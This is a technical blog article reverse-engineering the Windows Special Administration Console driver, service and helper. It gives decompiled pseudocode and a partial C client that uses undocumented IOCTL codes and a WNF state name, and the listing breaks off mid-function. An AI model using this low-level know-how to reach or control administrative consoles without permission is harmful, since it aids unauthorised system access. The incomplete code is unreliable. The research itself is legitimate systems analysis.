Windows have a cool feature EMS (Emergency management support) and SAC (Special Administrative Console) that can be highly useful in windows servers and cloud environment. You can read more about EMS/SAC and discover their functionalities, feel free to explore my previous article https://nixhacker.com/setting-up-and-playing-with-ems-sac/.

In this article, we will be exploring the inner workings of how SAC operates! This will also give you a better understanding of the low-level components of Windows implementation details, and what you can look forward to after reversing them.

The EMS can be reached through Serial COM port. All the low level work of EMS  is handled by SAC service in windows. First level of interaction with serial port occurs within the kernel driver SACSRV.sys  which is responsible for processing the data recieved from serial port and handling major tasks. In instances where the EMS feature is enabled by default, this driver is initialized during the system's boot process. You will find the registry key associated with the driver service at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sacdrv .

The operational tasks on the user side are managed by a Windows service designated as sacsvr, which incorporates its service-specific functionality within the sacsvr.dll file. You will find the registry key associated with the service at same registry location as above.

Another user side component integral to the EMS that facilitates managing command execution session is sacsess.exe known as SAC service helper binary.

SAC infrastructure provide following functionalities to the user:

• Command console
• Restart
• Shutdown
• crashdump
• Killing process
• Process priority modification
• Limit memory
• Set time
• Machine information
• Set IP address
• Live dump
• Process dump

Each functionality discussed above is handled by different components  of SAC. The flow of responsibility transfer and handling (which component has which functionality implemented) looks like below. :

The majority of functionality of SAC is implemented in sacdrv.sys. Requests associated for the Command console and Process dump are directed towards the user-side service sacsvr. Within the sacsvr , the functionality pertaining to process dumping is effectively implemented; however, in the case of command console requests, sacsvr initiates the child process sacess, which facilitates all interactions with the command shell. Subsequently, this service launches cmd.exe, which serves as a pseudo console for the execution of commands.

Diving into SAC driver (sacdrv.sys )

On driver entry, SAC creates a device object at \Device\SAC and initialize global data(InitializeGlobalData) and device data(InitializeDeviceData). During global data initialization the driver perform following steps

• Creates symbolic link of \Device\SAC to \DosDevices\SAC
• Setting flag CommandConsoleLaunchingEnabled based on following registry key HKLM\System\CurrentControlSet\Services\sacdrv\DisableCmdSessions.
• Allocate memory to store serial port buffer.
• Assign the sacsvr service Start registry value in ImposeSacCmdServiceStartTypePolicy (Registry key \Registry\Machine\System\CurrentControlSet\Services\sacsvr\Start to RegistryValueBuffer.
• Initialize channel manager ( ChanMgrInitialize). Note: We will go into more details of channel later.
• It creates an event \SACEvent using IoCreateSynchronizationEvent(). more on events object here.
• Initialize machine information in InitializeMachineInformation().  The machine information are extracted from following registry keys and apis:

1. RtlGetVersion()
2. RtlGetProductInfo
3. HKLM\System\Setup\SystemSetupInProgress
4. HKLM\System\CurrentControlSet\Control\ComputerName\ComputerName
5. HKLM\System\CurrentControlSet\Control\Session Manager\Environment\PROCESSOR_ARCHITECTURE
6. HKLM\System\CurrentControlSet\Control\MiniNT

• If event creation succeed, it will register a callback named \Callback\Phase1InitComplete using ExRegisterCallback. This callback can be accessed by other kernel drivers.

InitializeDeviceData is mainly responsible to start a system thread using PsCreateSystemThread that will run in background and is responsible for consuming buffer from serial port ( ConMgrSerialPortConsumer) as well as connection manager initialization ( ConMgrInitialize).

ConMgrIntialize- Responsible to Create a new channel( ChanMgrCreateChannel), setting it's flag (like channel id) and getting it's handle( ChanMgrGetByHandle ).

Understanding SAC Channels

For each connection request on serial port, SAC creates a new channel (of size 0x3f0).

Channel is essentially a structure defined in heap memory to manager each connection. The structure attributes are mentioned below (from React OS project code):

LONG 	Index
 
SAC_CHANNEL_ID 	ChannelId
 
HANDLE 	CloseEvent
 
PVOID 	CloseEventObjectBody
 
PKEVENT 	CloseEventWaitObjectBody
 
HANDLE 	HasNewDataEvent
 
PVOID 	HasNewDataEventObjectBody
 
PKEVENT 	HasNewDataEventWaitObjectBody
 
HANDLE 	LockEvent
 
PVOID 	LockEventObjectBody
 
PKEVENT 	LockEventWaitObjectBody
 
HANDLE 	RedrawEvent
 
PVOID 	RedrawEventObjectBody
 
PKEVENT 	RedrawEventWaitObjectBody
 
PFILE_OBJECT 	FileObject
 
SAC_CHANNEL_TYPE 	ChannelType
 
SAC_CHANNEL_STATUS 	ChannelStatus
 
WCHAR 	NameBuffer [SAC_CHANNEL_NAME_SIZE+1]
 
WCHAR 	DescriptionBuffer [SAC_CHANNEL_DESCRIPTION_SIZE+1]
 
ULONG 	Flags
 
GUID 	ApplicationType
 
LONG 	WriteEnabled
 
ULONG 	IBufferIndex
 
PCHAR 	IBuffer
 
LONG 	ChannelHasNewIBufferData
 
UCHAR 	CursorRow
 
UCHAR 	CursorCol
 
UCHAR 	CellForeColor
 
UCHAR 	CellBackColor
 
UCHAR 	CellFlags
 
PCHAR 	OBuffer
 
ULONG 	OBufferIndex
 
ULONG 	OBufferFirstGoodIndex
 
LONG 	ChannelHasNewOBufferData
 
PSAC_CHANNEL_CREATE 	ChannelCreate
 
PSAC_CHANNEL_DESTROY 	ChannelDestroy
 
PSAC_CHANNEL_OFLUSH 	ChannelOutputFlush
 
PSAC_CHANNEL_OECHO 	ChannelOutputEcho
 
PSAC_CHANNEL_OWRITE 	ChannelOutputWrite
 
PSAC_CHANNEL_OREAD 	ChannelOutputRead
 
PSAC_CHANNEL_IWRITE 	ChannelInputWrite
 
PSAC_CHANNEL_IREAD 	ChannelInputRead
 
PSAC_CHANNEL_IREAD_LAST 	ChannelInputReadLast
 
PSAC_CHANNEL_IBUFFER_FULL 	ChannelInputBufferIsFull
 
PSAC_CHANNEL_IBUFFER_LENGTH 	ChannelInputBufferLength
 
SAC_CHANNEL_LOCK 	ChannelAttributeLock
 
SAC_CHANNEL_LOCK 	ChannelOBufferLock
 
SAC_CHANNEL_LOCK 	ChannelIBufferLock

Each channel once created get stored in ChannelArray which is of size 0x10. This further implies that a maximum of 10 concurrent connections may operate simultaneously.

Code responsible for channel creation is present at ChanMgrCreateChannel. Following function first removes any zombie channel (inactive channels) followed by an assessment of whether the specified channel name is already present within the array. In the absence of such a name, a universally unique identifier (UUID) is generated utilizing the ExUuidCreate function, subsequently leading to the instantiation of the channel through the ChannelCreate function.The ChannelCreate function is tasked with initializing both the name and descriptor of the channel via ChannelSetDescription, in addition to incorporating associated events and locks, ultimately designating the channel as active through the ChannelSetStatus function.This encapsulates the essential information pertaining to channels within the System Administration Console (SAC). Next, let us examine the subsequent occurrences following the completion of all initialization procedures.

The aforementioned thread (which initiates its operation through PsCreateSystemThread) continuously monitors for any input emerging from the serial port. Once the input is passed through serial pipeline,  it directed toConMgrSerialPortConsumer in SAC driver. ConMgrSerialPortConsumer  evaluates the integrity of the communication channel and performs several validity assessments on the input (which is present in the InputBuffer) before invoking ConMgrProcessInputLine, provided the input conforms to the anticipated format and ASCII sequence.

ConMgrProcessInputLine task is to process input and call the relevant functions based on input send by consumer. Each  SAC feature has it's own standalone implementation present in functions starting with Do* like DoKillCommand. The pseudocode of ConMgrProcessInputLine looks like below(source ReactOS):

 if (!strncmp(InputBuffer, "t", 1))
    {
        DoTlistCommand();
    }
    else if (!strncmp(InputBuffer, "?", 1))
    {
        DoHelpCommand();
    }
    else if (!strncmp(InputBuffer, "help", 4))
    {
        DoHelpCommand();
    }
    else if (!strncmp(InputBuffer, "f", 1))
    {
        DoFullInfoCommand();
    }
    else if (!strncmp(InputBuffer, "p", 1))
    {
        DoPagingCommand();
    }
    else if (!strncmp(InputBuffer, "id", 2))
    {
        DoMachineInformationCommand();
    }
    else if (!strncmp(InputBuffer, "crashdump", 9))
    {
        DoCrashCommand();
    }
    else if (!strncmp(InputBuffer, "lock", 4))
    {
        DoLockCommand();
    }
    else if (!strncmp(InputBuffer, "shutdown", 8))
    {
        ExecutePostConsumerCommand = Shutdown;
    }
    else if (!strncmp(InputBuffer, "restart", 7))
    {
        ExecutePostConsumerCommand = Restart;
    }
    else if (!strncmp(InputBuffer, "d", 1))
    {
        EnablePaging = GlobalPagingNeeded;
        Status = HeadlessDispatch(HeadlessCmdDisplayLog,
                                  &EnablePaging,
                                  sizeof(EnablePaging),
                                  NULL,
                                  NULL);
        if (!NT_SUCCESS(Status)) SAC_DBG(SAC_DBG_INIT, "SAC Display Log failed.\n");
    }
    else if (!strncmp(InputBuffer, "cmd", 3))
    {
        if (CommandConsoleLaunchingEnabled)
        {
            DoCmdCommand(InputBuffer);
        }
        else
        {
            SacPutSimpleMessage(148);
        }
    }
    else if (!(strncmp(InputBuffer, "ch", 2)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[2] == ' ')) ||
              (strlen(InputBuffer) == 2)))
    {
        DoChannelCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "k", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoKillCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "l", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoLowerPriorityCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "r", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoRaisePriorityCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "m", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoLimitMemoryCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "s", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoSetTimeCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, "i", 1)) &&
             (((strlen(InputBuffer) > 1) && (InputBuffer[1] == ' ')) ||
              (strlen(InputBuffer) == 1)))
    {
        DoSetIpAddressCommand(InputBuffer);
    }
    else if ((InputBuffer[0] != '\n') && (InputBuffer[0] != ANSI_NULL))
    {
        SacPutSimpleMessage(SAC_UNKNOWN_COMMAND);
    }
}

Let's dive into each feature calls on how they are implemented:

DoTlistCommand - List down the running process in the machine.

The command first creates a global buffer ( GlobalBuffer) to store the process list. Then call GetTListInfo which get the list of running process. GetTListInfo first check some system information mentioned below:

• SystemTimeOfDayInformation
• SystemBasicInformation
• SystemPageFileInformation
• SystemFileCacheInformation
• SystemPerformanceInformation
• SystemProcessInformation

If all the infos are retrieved successfully, it traverse the ProcessInfo structure to get the list of all running process. The pseudo code looks something like this below:

while (TRUE)
    {
        /* Does the process have a name? */
        if (ProcessInfo->ImageName.Buffer)
        {
            /* Is the process name too big to fit? */
            if ((LONG)BufferLength < ProcessInfo->ImageName.Length)
            {
                /* Bail out */
                SAC_DBG(SAC_DBG_ENTRY_EXIT, "Exiting, error(7).\n");
                return STATUS_INFO_LENGTH_MISMATCH;
            }
 
            /* Copy the name into our own buffer */
            RtlCopyMemory((PVOID)P,
                          ProcessInfo->ImageName.Buffer,
                          ProcessInfo->ImageName.Length);
            ProcessInfo->ImageName.Buffer = (PWCHAR)P;
 
            /* Update buffer lengths and offset */
            BufferLength -= ProcessInfo->ImageName.Length;
            P += ProcessInfo->ImageName.Length;
 
            /* Are we out of memory? */
            if ((LONG)BufferLength < 0)
            {
                /* Bail out */
                SAC_DBG(SAC_DBG_ENTRY_EXIT, "Exiting, no memory(8).\n");
                return STATUS_NO_MEMORY;
            }
        }
 
        

After this PrintTListInfo is called to print the retrieved list with few additional information.

DoCrashCommand: Crash the machine using KeBugCheckEx.

DoPagingCommand: Modify the global paging flag.

DoMachineInformationCommand: Print the machine information (earlier stored during driver initialization).

DoKillCommand : Kill a process. This first check if the process is part of job \BaseNamedObjects\SACX . If so, kill the job using ZwTerminateJobObject otherwise kill the process using ZwTerminateProcess. The pseudo code will look like below:

StringCbPrintfW(
      GlobalBuffer,
      (unsigned int)GlobalBufferSize,
      L"\\BaseNamedObjects\\SAC%d",
      v5,
      ClientId.UniqueProcess,
      ClientId.UniqueThread,
      *(_QWORD *)&DestinationString.Length,
      DestinationString.Buffer,
      *(_QWORD *)&ObjectAttributes.Length,
      ObjectAttributes.RootDirectory,
      ObjectAttributes.ObjectName,
      *(_QWORD *)&ObjectAttributes.Attributes,
      ObjectAttributes.SecurityDescriptor,
      ObjectAttributes.SecurityQualityOfService);
    RtlInitUnicodeString(&DestinationString, GlobalBuffer);
    ObjectAttributes.RootDirectory = 0LL;
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.Length = 48;
    ObjectAttributes.Attributes = 576;
    &ObjectAttributes.SecurityDescriptor = 0LL;
    status = ZwOpenJobObject(&JobHandle, 0x2000000u, &ObjectAttributes);
    ObjectAttributes.RootDirectory = 0LL;
    ObjectAttributes.ObjectName = 0LL;
    ClientId.UniqueThread = 0LL;
    ObjectAttributes.Length = 48;
    ObjectAttributes.Attributes = 576;
    &ObjectAttributes.SecurityDescriptor = 0LL;
    nt_status = status;
    ClientId.UniqueProcess = (HANDLE)v5;
    nt_status2 = ZwOpenProcess(&ProcessHandle, 0x2000000u, &ObjectAttributes, &ClientId);
    if ( nt_status2 >= 0 )
    {
      if ( nt_status >= 0 && ZwIsProcessInJob(ProcessHandle, JobHandle) == 292 )
      {
        killed_job = 1;
        killed_process = 0;
        nt_status2 = ZwTerminateJobObject(JobHandle, 1);
        ZwMakeTemporaryObject(JobHandle);
      }
      else
      {
        killed_job = 0;
        killed_process = 1;
        nt_status2 = ZwTerminateProcess(ProcessHandle, 1);
      }
    }

DoLowerPriorityCommand: Lower the process priority.

Open the process using ZwOpenProcess and lower the priority using ZwSetInformationProcess.  

ObjectAttributes.RootDirectory = 0LL;
      ObjectAttributes.ObjectName = 0LL;
      ClientId.UniqueThread = 0LL;
      ClientId.UniqueProcess = (HANDLE)v5;
      ObjectAttributes.Length = 48;
      ObjectAttributes.Attributes = 576;
      *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0LL;
      v6 = ZwOpenProcess(&ProcessHandle, 0x2000000u, &ObjectAttributes, &ClientId);
      ZwSetInformationProcess(ProcessHandle, ProcessBasePriority, (char *)&v19 + 8, 4u);

DoRaisePriorityCommand: Raise the priority of process. Works similar way as DoLowerPriorityCommand.

DoLimitMemoryCommand: This will limit the maximum memory space used by a process. It is implemented in following way:

• Open the process using ZwOpenProcess.
• It creates a job object \BaseNamedObjects\SACx and assign process to that job object using ZwAssignProcessToJobObject.
• If the job object already exist, check if process already part of the job object using ZwIsProcessInJob.
• Use ZwSetInformationJobObject to limit the memory usage to that job object.

The pseudo code looks like below:

process_status = ZwOpenProcess(&ProcessHandle, 0x2000000u, (POBJECT_ATTRIBUTES)&ObjectAttributes_8, &ClientId_8);
  if ( process_status >= 0 )
  {
    if ( v12 < 0 )
    {
      *((_QWORD *)&ObjectAttributes_8 + 1) = 0LL;
      *(_QWORD *)&ObjectAttributes_24 = &DestinationString;
      LODWORD(ObjectAttributes_8) = 48;
      DWORD2(ObjectAttributes_24) = 592;
      ObjectAttributes_40 = 0LL;
      object_status = ZwCreateJobObject(&JobHandle, 0x2000000u, (POBJECT_ATTRIBUTES)&ObjectAttributes_8);
      if ( object_status < 0 )
      {
        Message = GetMessage(61LL);
        goto exit()
      }
      assign_jobstatus = ZwAssignProcessToJobObject(JobHandle, ProcessHandle);
      ZwClose(ProcessHandle);
    else if ( ZwIsProcessInJob(ProcessHandle, JobHandle) != 292 )
    {
      v0 = 90LL;
      goto LABEL_53;
    }
  }
  
  LODWORD(JobInformation[2]) |= 0x300u;
  JobInformation[14] = (unsigned int)(v10 << 20);
  JobInformation[15] = JobInformation[14];
  v24 = ZwSetInformationJobObject(JobHandle, JobObjectExtendedLimitInformation, JobInformation, 0x90u);
  

DoSetTimeCommand: Set time of system. Use ZwSetSystemTime to set the system time.

DoSetIpAddressCommand: Set Ip address of machine. Uses following method:

• Calls SacIpGetNetInfo which later calls SacIppEnumerateAddresses and then  RtlIpv6AddressToStringW.
• Convert string to ip using RetrieveIpAddressFromString
• Calls SacIpSetNetInfo that uses NsiSetAllParameters.

DoRebootCommand: Reboot the machine using NtShutdownSystem.

DoLiveDumpCommand: This will create kernel live dump and store it in file C:\Windows\MEMORY.DMP. It uses ZwSystemDebugControl for live dump with following flag SysDbgQueryTraceInformation.

DoCmdCommand: Creates a new command channel. This is depending on usermode service. We will talk more about this in next section.

DoChannelCommand: Provide multiple sub-commands related to channels like listing, info, attaching channel etc. This calls following functions based on parameter passed to the command: DoChannelListCommand, DoChannelCloseByNameCommand, DoChannelSwitchByNameCommand, ConMgrSetCurrentChannel.

SACSVR - Usermode SAC service

Request from DoProcessDumpCommand(used for process dumping) and DoCmdCommand (used to create command execution channel) are sent to user side service sacsvr.

During initialization of SAC driver, function ImposeSacCmdServiceStartTypePolicy verify the Start registry key of \Registry\Machine\System\CurrentControlSet\Services\sacsvr to check the status of sacsvr service. In DoProcessDumpCommand and DoCmdCommand the driver calls InvokeUserModeService which set an event object.

KeWaitForSingleObject(&SACSubcommandMutex, Executive, 0, 0, 0LL);
  memmove(&SACSubcommand, &InputBuffer, v4);
  LODWORD(SACSubcommandLength) = v4;
  KeReleaseMutex(&SACSubcommandMutex, 0);
  Object[0] = RequestSacCmdSuccessEventObject;
  Object[1] = RequestSacCmdFailureEventObject;
  Timeout.QuadPart = -90000000LL;
  KeSetEvent((PRKEVENT)RequestSacCmdEventObject, 1, 1u);
  result = KeWaitForMultipleObjects(2u, Object, WaitAny, Executive, 1, 0, &Timeout, 0LL);

Coming to sacsvr service. The service code is implementated in sacsvr.dll . In the sacsvr.dll, ServiceMain calls  SacSvrServiceRun  which calls CreateProcessDump or CreateClient based on passed argument through buffer to sacsvr.

if ( !strcmp(Str1, "cmd") )
        {
          CreateClient(&v4);
        }
else if ( !strncmp(Str1, "procdump", 8uLL) )
        {
          CreateProcessDump((__int64)Str1);
        }
        

CreateProcessDump: This creates process dump and save it in the filepath passed as argument to command.
Internally it calls CreateMiniDumpThread which creates a new thread with start address of MiniDumpThreadProc. MiniDumpThreadProc will then use MiniDumpWriteDump windows api to get the memory dump of the process by passing following flags MiniDumpIgnoreInaccessibleMemory|MiniDumpWithThreadInfo|MiniDumpWithFullMemoryInfo|MiniDumpWithUnloadedModules|MiniDumpWithHandleData|MiniDumpWithFullMemory.

CreateClient: This is used to invoke command session when user input cmd in SAC.

This will just start sacsess.exe using CreateProcess.

The work of sacsvr service is limited to handling mentioned above two functionalities only.

SAC helper program ( sacsess.exe)

sacsess process is responsible to handle the entirety of the interplay between the command shell and the SAC service. It encompasses various things like session initialization, authentication, and sending the data to and fro to command shell.

How sacess to communicate with the driver?

Beside events, sacess uses undocumented api RtlSubscribeWnfStateChangeNotification and DeviceIoControl.

During the initialization, it subscribes to the following event WNF_EMS_SACSVR_STATE_CHANGE.

The function also invokes CSession::Init, which serves the purpose of initializing the Command session.This function subsequently calls two significant routines: CSession::Authenticate and CShell::StartProcess .Initially, CSession::Authenticate assesses whether credential verification is necessitated ( NeedCredentials) and subsequently proceeds to authenticate the credentials through CSecurityIoHandler::AuthenticateCredentials.The method CSecurityIoHandler::AuthenticateCredentials employs LogonUserExExW to facilitate user login and retrieves the token handle via NtQueryInformationToken.The pseudocode is illustrated as follows:

Using this handle, CShell::StartProcess start the cmd.exe. Following things happen in CShell::StartProcess:

• Create two named pipe for read and write data between cmd and sacsess using CreatePipe.
• Pass the pipes handle to CreatePseudoConsoleAsUser to create pseudo console. You can read more about pseudo console here.
• Start the cmd.exe using CreateProcessAsUserW

The pseudo code will looks like below:

SystemDirectoryW = GetSystemDirectoryW(v5, 0x105u);
  if ( !SystemDirectoryW )
  {
	exit();
  }
  system_dir_addr = SystemDirectoryW + 9;
  cmd_fullpath1 = (wchar_t *)operator new[](saturated_mul(SystemDirectoryW + 9, 2uLL));
  cmd_fullpath = swprintf_s(cmd_fullpath1, system_dir_addr, L"%s\\%s", v5, L"cmd.exe");
  operator delete[](v5);
  if ( cmd_fullpath == -1 )
  {
    v7 = cmd_fullpath1;
    exit();
  }
  if ( !cmd_fullpath1 )
    exit();
  *((_QWORD *)this + 6) = -1LL;
  if ( (unsigned int)CShell::IsLoadProfilesEnabled(v11) && (unsigned int)NeedCredentials() )
  {
    UtilLoadProfile(token_handle, (void **)this + 6);
    env_addr = UtilLoadEnvironment(token_handle, &Environment);
    Environment = (LPVOID)(-(__int64)env_addr & (unsigned __int64)Environment);
  }
  SetConsoleCtrlHandler(0LL, 0);
  NTSTATUS = CreatePipe(&hReadPipe, (PHANDLE)this + 7, 0LL, 0);
  if ( !NTSTATUS )
  {
    exit();
  }
  NTSTATUS = CreatePipe((PHANDLE)this + 8, &hWritePipe, 0LL, 0);
  if ( !NTSTATUS )
  {
    exit()
  }
  v16 = (PVOID *)((char *)this + 8);
  if ( (int)CreatePseudoConsoleAsUser(
              token_handle,
              *((unsigned int *)this + 4),
              hReadPipe,
              hWritePipe,
              0,
              (char *)this + 8) < 0 )
  {
    exit();
  }
  StartupInfo.cb = 112;
  hReadPipe = (void *)-1LL;
  hWritePipe = (void *)-1LL;
  InitializeProcThreadAttributeList(0LL, 1u, 0, &Size);
  v17 = Size;
  ProcessHeap = GetProcessHeap();
  buffer_addr = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, v17);
  lpAttributeList = buffer_addr;
  NTSTATUS = InitializeProcThreadAttributeList(v19, 1u, 0, &Size);
  if ( NTSTATUS )
  {
    NTSTATUS = UpdateProcThreadAttribute(lpAttributeList, 0, 0x20016uLL, *v16, 8uLL, 0LL, 0LL);
    if ( NTSTATUS )
    {
      if ( (unsigned int)NeedCredentials()
        && (unsigned __int8)IsCreateWindowStationWPresent()
        && IsSetUserObjectSecurityPresent() )
      {
        v20 = CreateSACSessionWinStaAndDesktop(token_handle, &hWinSta, (HWINSTA *)this + 9, (HDESK *)this + 3, &v27);
        v4 = v27;
        NTSTATUS = v20;
        if ( !v20 )
          exit();
        StartupInfo.lpDesktop = v27;
      }
      else
      {
        StartupInfo.lpDesktop = L"winsta0\\default";
      }
      NTSTATUS = CreateProcessAsUserW(
                   token_handle,
                   cmd_fullpath1,
                   (LPWSTR)L"cmd.exe",
                   0LL,
                   0LL,
                   1,
                   0x80C00u,
                   Environment,
                   0LL,
                   &StartupInfo,
                   &ProcessInformation);
      if ( NTSTATUS )
      {
        GetExitCodeProcess(ProcessInformation.hProcess, &ExitCode);
        if ( ExitCode != 259 )
          exit();
        hThread = ProcessInformation.hThread;
        *((_QWORD *)this + 5) = ProcessInformation.hProcess;
        if ( hThread != (HANDLE)-1LL )
          CloseHandle(hThread);
        if ( hWinSta )
          SetProcessWindowStation(hWinSta);
        NTSTATUS = 1;
      }
    }
  }

Upon initialization, the sacsess component will persistently await an event from the driver ( CSession::WaitForSacEvent).This process employs WaitForMultipleObjectsEx to obtain notifications regarding state changes that were subscribed to via RtlSubscribeWnfStateChangeNotification.The transmission and reception of data are facilitated through SacChannelRead and SacChannelWrite (which utilizes DeviceIoControl).Following a thorough analysis, I developed functional code for both event subscription and data reading/writing.

#include <windows.h>
#include <stdio.h>

#define IOCTL_CODE_READ 0x224010
#define IOCTL_CODE_WRITE 0x22800C
#define IOCTL_CODE_QUERYSUBCOMMAND 0x22402C


typedef struct _WNF_TYPE_ID {
    GUID                              TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef struct _WNF_STATE_NAME {
    ULONG                             Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

WNF_STATE_NAME WNF_EMS_SACSVR_STATE_CHANGE{ 0xA3BC0875, 0x41950328 };

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef NTSTATUS(NTAPI* RtlPublishWnfStateData_t)(
    _In_ WNF_STATE_NAME StateName,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_reads_bytes_opt_(Length) const VOID* Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ const VOID* ExplicitScope
    );

typedef struct _WNF_CONTEXT_HEADER {
    USHORT NodeTypeCode;
    USHORT NodeByteSize;
} WNF_CONTEXT_HEADER, * PWNF_CONTEXT_HEADER;

typedef struct _WNF_STATE_NAME_INTERNAL {
    ULONG64 Version : 4;
    ULONG64 NameLifetime : 2;
    ULONG64 DataScope : 4;
    ULONG64 PermanentData : 1;
    ULONG64 Unique : 53;
} WNF_STATE_NAME_INTERNAL, * PWNF_STATE_NAME_INTERNAL;

typedef struct _WNF_DELIVERY_DESCRIPTOR {
    ULONG64 SubscriptionId;
    WNF_STATE_NAME StateName;
    WNF_CHANGE_STAMP ChangeStamp;
    ULONG StateDataSize;
    ULONG EventMask;
    WNF_TYPE_ID TypeId;
    ULONG StateDataOffset;
} WNF_DELIVERY_DESCRIPTOR, * PWNF_DELIVERY_DESCRIPTOR;

typedef struct _WNF_NAME_SUBSCRIPTION {
    WNF_CONTEXT_HEADER Header;
    ULONG64 SubscriptionId;
    WNF_STATE_NAME_INTERNAL StateName;
    WNF_CHANGE_STAMP CurrentChangeStamp;
    LIST_ENTRY NamesTableEntry;
    PWNF_TYPE_ID TypeId;
    SRWLOCK SubscriptionLock;
    LIST_ENTRY SubscriptionsListHead;
    ULONG NormalDeliverySubscriptions;
    ULONG NotificationTypeCount[5];
    PWNF_DELIVERY_DESCRIPTOR RetryDescriptor;
    ULONG DeliveryState;
    ULONG64 ReliableRetryTime;
} WNF_NAME_SUBSCRIPTION, * PWNF_NAME_SUBSCRIPTION;

typedef struct _WNF_SERIALIZATION_GROUP {
    WNF_CONTEXT_HEADER Header;
    ULONG GroupId;
    LIST_ENTRY SerializationGroupList;
    ULONG64 SerializationGroupValue;
    ULONG64 SerializationGroupMemberCount;
} WNF_SERIALIZATION_GROUP, * PWNF_SERIALIZATION_GROUP;

typedef NTSTATUS(*PWNF_USER_CALLBACK) (
    WNF_STATE_NAME                    StateName,
    WNF_CHANGE_STAMP                  ChangeStamp,
    PWNF_TYPE_ID                      TypeId,
    PVOID                             CallbackContext,
    PVOID                             Buffer,
    ULONG                             BufferSize);

typedef struct _WNF_USER_SUBSCRIPTION {
    WNF_CONTEXT_HEADER Header;
    LIST_ENTRY SubscriptionsListEntry;
    PWNF_NAME_SUBSCRIPTION NameSubscription;
    PWNF_USER_CALLBACK Callback;
    PVOID CallbackContext;
    ULONG64 SubProcessTag;
    ULONG CurrentChangeStamp;
    ULONG DeliveryOptions;
    ULONG SubscribedEventSet;
    PWNF_SERIALIZATION_GROUP SerializationGroup;
    ULONG UserSubscriptionCount;
    ULONG64 Unknown[10];
} WNF_USER_SUBSCRIPTION, * PWNF_USER_SUBSCRIPTION;



/*
typedef NTSTATUS(NTAPI* RtlSubscribeWnfStateChangeNotification_t)(
    _Outptr_ PVOID* SubscriptionHandle, // PWNF_USER_SUBSCRIPTION
    _In_ WNF_STATE_NAME StateName,
    _In_ WNF_CHANGE_STAMP ChangeStamp,
    _In_ PWNF_USER_CALLBACK Callback,
    _In_opt_ PVOID CallbackContext,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ ULONG SerializationGroup,
    _Reserved_ ULONG Flags
);*/
typedef NTSTATUS(WINAPI* RtlSubscribeWnfStateChangeNotification_t) (
    _Outptr_ WNF_USER_SUBSCRIPTION* Subscription,
    _In_ WNF_STATE_NAME StateName,
    _In_ WNF_CHANGE_STAMP ChangeStamp,
    _In_ PWNF_USER_CALLBACK Callback,
    _In_opt_ PVOID CallbackContext,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ ULONG SerializationGroup,
    _In_opt_ ULONG Unknown
    );
FILE* file;

NTSTATUS NTAPI WnfCallback(
    WNF_STATE_NAME StateName,
    WNF_CHANGE_STAMP                  ChangeStamp,
    PWNF_TYPE_ID                      TypeId,
    PVOID                             CallbackContext,
    PVOID                             Buffer,
    ULONG                             BufferSize)
{
    unsigned int v7; // ebx
    struct _WNF_STATE_NAME Source1;
    Source1 = StateName;
    //if (RtlCompareMemory(&Source1, &WNF_EMS_SACSVR_STATE_CHANGE, 8uLL) == 8)
    if (StateName.Data[0] == WNF_EMS_SACSVR_STATE_CHANGE.Data[0] &&
        StateName.Data[1] == WNF_EMS_SACSVR_STATE_CHANGE.Data[1]
        && Buffer)
    {
        v7 = 0;
        fprintf(file, "Callback executed\n");
        if (CallbackContext)
        {
            if (Buffer)
            {
                if (BufferSize == 4)
                {
                    //if (!*(_DWORD*)Buffer)
                    SetEvent(*((HANDLE*)CallbackContext + 5));
                }
                else
                {
                    return (unsigned int)-1073741580;
                }
            }
            else
            {
                return (unsigned int)-1073741581;
            }
        }
        else
        {
            return (unsigned int)-1073741582;
        }
    }
    else
    {
        return (unsigned int)-1073741585;
    }
    return v7;
}


int SACQueryCommand(HANDLE hDevice)
{

    BOOL bResult;
    DWORD bytesReturned;
    //char inputBuffer[100] = "Data to send to driver";
    char outputBuffer[0x4F] = { 0 };
    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    if (hNtdll == NULL) {
        fprintf(file, "LoadLibrary failed\n", GetLastError());
        return 1;
    }
    printf("We are here RtlPublishWnfStateData\n");
    // Resolve the address of RtlPublishWnfStateData
    RtlPublishWnfStateData_t RtlPublishWnfStateData = (RtlPublishWnfStateData_t)GetProcAddress(hNtdll, "RtlPublishWnfStateData");
    if (RtlPublishWnfStateData == NULL) {
        printf("Failed to resolve RtlPublishWnfStateData\n");
        FreeLibrary(hNtdll);
        return 1;
    }
    int Data = 0;
    //Sleep(100000);
    //RtlPublishWnfStateData(WNF_EMS_SACSVR_STATE_CHANGE, 0LL, &Data, 4LL, 0LL);
        bResult = DeviceIoControl(hDevice,
            IOCTL_CODE_QUERYSUBCOMMAND,
            NULL,
            NULL,
            outputBuffer,
            0x4f,
            &bytesReturned,
            NULL);
        if (!bResult) {
